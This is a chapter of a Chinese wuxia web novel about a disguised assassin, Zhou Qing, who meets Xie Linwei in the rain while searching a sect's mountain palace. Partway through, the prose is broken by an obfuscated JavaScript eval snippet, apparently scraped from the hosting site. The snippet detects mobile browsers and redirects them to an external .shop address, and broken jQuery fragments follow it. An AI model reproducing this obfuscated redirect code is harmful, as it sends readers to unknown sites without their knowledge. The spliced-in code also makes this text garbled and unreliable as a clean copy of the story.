这一日,周青又乔装成“余公子”的侍女,和江润之一同大摇大摆的进了宫门。
唤潮宫的弟子们常年不出山门,潜心习武,又因宫主几年前那场变故,宫中气氛寥落凄清,阴阴泠泠。
而如今宫主马上出关,各方江湖侠士齐来拜访,才算多了些人气。
起初弟子们见江润之皮囊俊秀,又是大名鼎鼎余家的子弟,便不免生有亲近之意,而江润之乐得如此消遣,少年一身玉冠锦袍,眉目含春,姐姐哥哥的一通混说,几句话便将不谙世事的年轻弟子们哄的团团转。
这日江润之一登门,便被一位前几日都在门前的弟子迎了进去。
周青跟在身后,安安心心的当红花的绿叶。
弟子热忱:“余公子!”
江润之步子一顿,盯了一会那个弟子,半晌微微一笑,目中露出恰到好处的惊喜:“原来是蓝兄。”
弟子呆愣一瞬,随后面色喜悦:“没想到公子还记得我!”
随后话题便拐到了周青认为十分无聊的地方,什么宫主近况如何啦,昨日某长老又罚他们练鞭诸如此类,周青默然:这也是她所敬佩而不能理解江润之的地方,江润之对这种琐碎小事似乎并不排斥,甚至乐在其中。
她总算明白前日江润之对她说,余光年的脸实在好用是什么意思了。
而就在她一恍神时,江润之早已跟着那位蓝兄走了,留下周青一人站在原地。
周青便明白,这是让她单独行动的意思。
--
唤潮宫于肃州城郊之处,群山挟抱之间,虽比不上诸如五岳洞天的雄伟,也是极为清静僻寒的一处福地。
峰脚为棣华庭,多为接待外客所用,夹道不过短短数里,便筑有阔府朱门,烫金的大字从左至右,明晃晃的书上“唤潮”二字,气派无比。
倒是颇有几分暴发户的气质。
而再沿山路行几步,云气缭绕的山腰便是弟子练武之处,小径蜿蜒丛布,两旁草木青郁,伴随风吹而簌簌而动。
其中树林间隐藏着一座座其貌不扬的竹屋石房,有的是弟子的居所,有的则是长老的住处。
至于山顶之上,则是人迹罕至,独宫主一人需闭关时会入中静坐。
眼下周青行至山腰,疑心李逢姬就在其中一处。
她前几日也来过,却始终未能有什么收获:一是其中不乏高手,周青哪怕能够脱身,也不免会打草惊蛇。
二则是根据江润之所说,李逢姬在弟子口中常年抱病在身,极为孱弱,除却宫中的重要事务外从不露面。
江润之说至最后,仍漫不经心的提点了周青一句,她告诫周青,李逢姬究竟如何,也只是周青一人的私事,不能妨碍暗枭任务半分。
周青知道江润之说的是李逢姬,也不只是李逢姬。
她没有理由拒绝。
她从记忆开始,便一辈子都要遵从暗枭的命令。
哪怕明面上暗枭给了她极大的自由,任务之外,周青可以随心所欲的去干任何事情。
然周青亲眼见过那些想脱离暗枭的杀手的下场:
无根之水,岂能言情?
--
周青将眼前的一草一木都刻篆在心。
她的目光微动,望向一处她尚未进去过的密林——
昨日她曾想进去过,却被路边的一个弟子拦了下来。
弟子诚恳的告诉她,这处有许多凶猛的恶兽出没,就连宫主也极少踏足。
当时的周青虽然不信,但也并不是很在意。
而现在的她却生出几分好奇。
周青犹豫时,一个柔软、毛绒绒的东西,轻轻蹭了蹭她的裙角。
周青垂眸,心中却愕然。
那是一只白毛的狸猫,不知什么时候趴在了她的履侧。
狸猫毛发纤长,通身雪白,一双眼睛粼粼如黑曜般闪亮,一看便是被人养的极好。
周青蠢蠢欲动。
她杀人时利落干脆,此下却罕见的畏手畏脚。
少女轻而又轻的蹲下身,刚想将狸猫抱入怀中时,狸猫却似受了惊一般,回身一扭,撒着爪子便钻进树丛里去了。
周青:“………”
她望着空落落的怀抱,磨了磨牙。
眼见四周无人,周青提足便要再追。
狸猫跑的方向正是她还未去的方向——周青安慰自己,这也是为了公务,公务。
万一宫主就在里面练功,走火入魔了呢?万一李逢姬就在里面养伤呢?周青如此这般安慰着自己,绝不承认是自己的好奇。
那点雪白在苍翠林木中闪了又闪,在周青的视野中晃来晃去。
而一眨眼的瞬间,一点湿意漫上眼皮,虽然是微凉,却足够明显。
屋漏偏逢连夜雨,前日还艳阳高照,偏偏此下天便骤的阴沉下来。
好在雨并不算大,仅能稍微模糊周青的视线,却并不能让她停下脚步。
周青掠地飞快,几息间便快要抓住飞奔的狸猫尾巴。
就在她屏息凝神,足尖微顿,将要探出手时——
狸猫却扑进了另一个的人怀中。
等等,人?
周青猛地抬头。
一抹不合时宜的皎白闯入了视野,和先前所有颜色都与众不同。
那是一截苍瘦伶仃的腕。
周青目光上移——
少年一手支伞,一手抱猫,伞檐一转,雨声沥沥,他的半面容貌隐在濛濛雾中,眉眼清隽非常。
而就在此刻,也许是周青的目光太直白,也许是雨势略停,他的伞一顿,随后稍稍往上抬了抬。
仅仅一刻,也仅仅只需一刻。
风雨未晦,眉山已近。
如此清致而静美。
周青大脑空白了一瞬。
那张脸对她来说不够熟悉,却足够印象深刻,她差一点就能用刀割开这张脸主人的喉咙…差一点便能用任何方式,去对待那双漂亮的眼睛。
谢、临、微。
在周青的预料中,她应该利落的解决了李逢年之后,再用余光年这个筹码,让谢临微心甘情愿的再见到她。
她没想到会在这里见到谢临微。
他不是费劲心机把她甩下了吗?怎么现在会在这里?
他和李逢姬是一伙的?
周青眸中波涛汹涌,她费了好大劲才压住了那股从心底升腾而起,直迸天灵盖的戾气。
她垂下眼皮,径直要去抢谢临微怀中的东西——</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053433|149082||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
--
谢临微望着眼前怔愣的少女,也有些茫然。
那日李逢姬离去前,曾意味深长的告诉他——只要他不回京,未来想杀他的人不会少的。
他第一时间想到了那位“周姑娘”。
可她分明有千百次机会可以杀他。
谢临微想…也许是自己想多了,可能她恶劣是真,却并不想杀他,只是另有所图。
他向来将事往好处想。
而现下瓢泼雨中,或许是李逢姬的话真的发挥了一点作用,谢临微望向面前忽然闯入的陌生少女,呼吸一窒。
说不清的熟悉感扑面而来,慌乱之中,他将这理解成了对危险的直觉。
他下意识的往后退。
少女却直直的扑来——目标却不是他。
她的目标是那只猫。
他心跳骤缓。
周青没能成功,谢临微在意识到她的意图后,后退的脚步虽然停住,手臂却紧了紧。
他懊恼于方才的草木皆兵,谢临微犹豫一会,决定将易容后的周青认作唤潮宫中的弟子,少年轻声道:“这位师妹,猫怕生,你这样强行要抱走它,它会抓伤你。”
语气一等一的温和,仪态一等一的优雅,言语一等一的端方有礼,拿不出错处。
周青望着他。
周青在心底冷笑。
这会认不出她,他倒是装起温柔无害了。
哦,也许不能说装,他在她面前,除了提到什么青时,也一向是这个模样。
她恨不得现在就把刀架在谢临微的脖子上,问他到底打的是什么主意。
谢临微见周青不吭声,又望向飘飞的雨丝中,她一半的肩头都被打湿,便将伞又偏了偏,迟疑道:“师妹没带伞?”
周青刚想张口,忽然又想到谢临微记性那般好,定然不会忘记那个曾贴着他耳威胁的人。
他那样耍她,面上温柔,指不定心里早已将她千刀万剐了。
而周青心情很差。
她才不在乎自己先前对谢临微的威胁是否出格呢——她只在乎对方顺不顺着她的心意。
她望向面前面色担忧的谢临微,忽然心头一动。
--
于是谢临微便看着眼前的少女点了点头,又摇了摇头。
她的发丝微乱,耷拉着眼皮,眸中水光粼粼。
谢临微一愣:是…哑巴吗?
他的手一顿,也有些歉疚:方才说的话可能还是太重了。
谢临微起身,眉稍轻蹙,试探着询问她:“师妹要不去我住处避一避雨吧?”
他道:“雨现在应该还会下一会…如若师妹实在介意,我把伞给你吧。”
谢临微抱歉道:“可惜我有一些事务在身,不能相送。”
他说完这三句话,仍旧安静温和的看着周青。
仿佛周青不论选择什么,谢临微都总有办法为她圆上。
周青定定望着他。
他还真不懂什么叫引狼入室。
她忽然有些后悔那日了——她如果不那么急,迂回一点儿,恐怕谢临微早就上钩了。
可惜这点想法出现一瞬便被周青抛下了,周青从不委曲求全。
她抿出一点笑来。